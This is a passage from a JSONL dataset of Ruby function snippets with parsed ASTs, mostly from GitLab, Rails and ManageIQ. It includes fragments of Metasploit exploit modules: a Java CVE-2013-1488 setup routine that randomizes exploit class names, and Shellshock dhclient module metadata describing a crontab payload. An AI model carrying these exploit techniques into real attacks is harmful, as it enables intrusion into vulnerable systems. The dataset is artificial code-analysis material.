nasl_name.nil? || nasl_name.empty?\n      vuln_name = nss\n    else\n      vuln_name = nasl_name\n    end\n\n    refs << nss.strip\n\n    vuln = {\n      :workspace => wspace,\n      :host => hobj,\n      :name => vuln_name,\n      :info => description ? description : \"\",\n      :refs => refs,\n      :task => task,\n    }\n\n    if port.to_i != 0\n      vuln[:port]  = port\n      vuln[:proto] = proto\n    end\n\n    msf_import_vuln(vuln)\n  end","complexity_score":80.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_nessus_v2\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wspace\"]},{\"type\":\"arg\",\"children\":[\"hobj\"]},{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"arg\",\"children\":[\"proto\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"nasl\"]},{\"type\":\"arg\",\"children\":[\"nasl_name\"]},{\"type\":\"arg\",\"children\":[\"severity\"]},{\"type\":\"arg\",\"children\":[\"description\"]},{\"type\":\"arg\",\"children\":[\"cve\"]},{\"type\":\"arg\",\"children\":[\"bid\"]},{\"type\":\"arg\",\"children\":[\"xref\"]},{\"type\":\"arg\",\"children\":[\"msf\"]},{\"type\":\"optarg\",\"children\":[\"task\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hobj\"]},\"address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"proto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"lvar\",\"children\":[\"task\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^unknown$|\\\\?$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"msf_import_service\",{\"type\":\"lvar\",\"children\":[\"info\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nasl\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nasl\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nasl\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nasl\"]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"refs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"to_s\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"C(VE|AN)\\\\-\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE-\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"to_s\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bid\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bid\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"BID-\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"to_s\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xref\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xref\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ref_id\"]},{\"type\":\"lvasgn\",\"children\":[\"ref_val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_val\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_id\"]},\"+\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"ref_val\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"ref_id\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msf\"]},{\"type\":\"lvasgn\",\"children\":[\"msfref\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"MSF-\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"msf\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msfref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"msfref\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"nss\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"NSS-\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"nasl\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nasl_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nasl_name\"]},\"empty?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln_name\",{\"type\":\"lvar\",\"children\":[\"nss\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln_name\",{\"type\":\"lvar\",\"children\":[\"nasl_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nss\"]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"vuln_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"lvar\",\"children\":[\"refs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"lvar\",\"children\":[\"task\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"proto\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"msf_import_vuln\",{\"type\":\"lvar\",\"children\":[\"vuln\"]}]}]}]}","id":"0a2577eb-4c01-4591-b520-e9915076cc9f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/java_jre17_driver_manager.rb","start_line":84,"raw_source":"def setup\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1488\", \"Exploit.class\")\n    @exploit_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1488\", \"FakeDriver.class\")\n    @driver_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1488\", \"FakeDriver2.class\")\n    @driver2_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1488\", \"META-INF\", \"services\", \"java.lang.Object\")\n    @object_services = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-1488\", \"META-INF\", \"services\", \"java.sql.Driver\")\n    @driver_services = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n\n    @exploit_class_name = rand_text_alpha(\"Exploit\".length)\n    @exploit_class.gsub!(\"Exploit\", @exploit_class_name)\n\n    @jnlp_name = rand_text_alpha(8)\n\n    super\n  end","complexity_score":57.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1488\"]},{\"type\":\"str\",\"children\":[\"Exploit.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exploit_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1488\"]},{\"type\":\"str\",\"children\":[\"FakeDriver.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@driver_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1488\"]},{\"type\":\"str\",\"children\":[\"FakeDriver2.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@driver2_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1488\"]},{\"type\":\"str\",\"children\":[\"META-INF\"]},{\"type\":\"str\",\"children\":[\"services\"]},{\"type\":\"str\",\"children\":[\"java.lang.Object\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@object_services\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-1488\"]},{\"type\":\"str\",\"children\":[\"META-INF\"]},{\"type\":\"str\",\"children\":[\"services\"]},{\"type\":\"str\",\"children\":[\"java.sql.Driver\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@driver_services\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exploit_class_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploit\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exploit_class\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"Exploit\"]},{\"type\":\"ivar\",\"children\":[\"@exploit_class_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@jnlp_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"fbfb7e60-3215-4c6e-9d7b-7636d7b1c34a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/rubocop/qa_helpers_spec.rb","start_line":8,"raw_source":"def build_and_parse_source(source, path = 'foo.rb')\n    buffer = Parser::Source::Buffer.new(path)\n    buffer.source = source\n\n    builder = RuboCop::AST::Builder.new\n    parser = Parser::CurrentRuby.new(builder)\n\n    parser.parse(buffer)\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_and_parse_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"str\",\"children\":[\"foo.rb\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"Source\"]},\"Buffer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"source=\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"AST\"]},\"Builder\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"CurrentRuby\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"builder\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"45193070-f5e8-4565-8a1e-c4844ec7cf44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/username_mention_rewriter.rb","start_line":25,"raw_source":"def wrap_mentions_in_backticks(text)\n        return text unless text.present?\n\n        if MENTION_REGEX.match?(text)\n          text = MENTION_REGEX.replace_gsub(text) do |match|\n            case match[0]\n            when /^`/\n              match[0]\n            when /^ /\n              \" `#{match[0].lstrip}`\"\n            when /^\\(/\n              \"(`#{match[0].sub(/^./, '')}`\"\n            else\n              \"`#{match[0]}`\"\n            end\n          end\n        end\n\n        text\n      end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_mentions_in_backticks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MENTION_REGEX\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MENTION_REGEX\"]},\"replace_gsub\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^`\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ \"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"lstrip\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\(\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^.\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"a4be47c3-eb4a-4cd2-9d8f-2386a1f44aa2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/bulk_imports/imports_finder.rb","start_line":26,"raw_source":"def sort(imports)\n      return imports unless @params[:sort]\n\n      imports.order_by_created_at(@params[:sort])\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"imports\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imports\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imports\"]},\"order_by_created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]}]}]}","id":"2cfde5a7-467b-47c4-b67a-f19be8d21112"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/service/disk_service.rb","start_line":16,"raw_source":"def initialize(root:, public: false, **options)\n      @root = root\n      @public = public\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"root\"]},{\"type\":\"kwoptarg\",\"children\":[\"public\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"lvar\",\"children\":[\"root\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@public\",{\"type\":\"lvar\",\"children\":[\"public\"]}]}]}]}","id":"fae142d1-4fbb-4c50-b8ce-b9df2231dff2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":326,"raw_source":"def who_am_i\n    @who_am_i ||= \"#{name} #{my_zone} #{self.class.name} #{id}\"\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"who_am_i\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@who_am_i\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"my_zone\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"3fb94f5b-8412-452d-9a2c-c34ef8b9d79f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/chat_message/issue_message.rb","start_line":79,"raw_source":"def issue_type\n        @issue_type ||= object_kind == 'incident' ? 'Incident' : 'Issue'\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@issue_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_kind\"]},\"==\",{\"type\":\"str\",\"children\":[\"incident\"]}]},{\"type\":\"str\",\"children\":[\"Incident\"]},{\"type\":\"str\",\"children\":[\"Issue\"]}]}]}]}","id":"032b7d2d-9879-4244-a86a-6be28c78891f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/dhcp/bash_environment.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)',\n        'Description' => %q{\n          This module exploits the Shellshock vulnerability, a flaw in how the Bash shell\n          handles external environment variables. This module targets dhclient by responding\n          to DHCP requests with a malicious hostname, domainname, and URL which are then\n          passed to the configuration scripts as environment variables, resulting in code\n          execution. Due to length restrictions and the unusual networking scenario at the\n          time of exploitation, this module achieves code execution by writing the payload\n          into /etc/crontab and then cleaning it up after a session is created.\n        },\n        'Author' => [\n          'Stephane Chazelas', # Vulnerability discovery\n          'egypt' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'References' => [\n          [ 'CVE', '2014-6271' ],\n          [ 'CWE', '94' ],\n          [ 'OSVDB', '112004' ],\n          [ 'EDB', '34765' ],\n          [ 'URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/' ],\n          [ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ],\n          [ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]\n        ],\n        'Payload' => {\n          # 255 for a domain name, minus some room for encoding\n          'Space' => 200,\n          'DisableNops' => true,\n          'Compat' => {\n            'PayloadType' => 'cmd',\n            'RequiredCmd' => 'generic telnet ruby'\n          }\n        },\n        'Targets' => [ [ 'Automatic Target', {}] ],\n        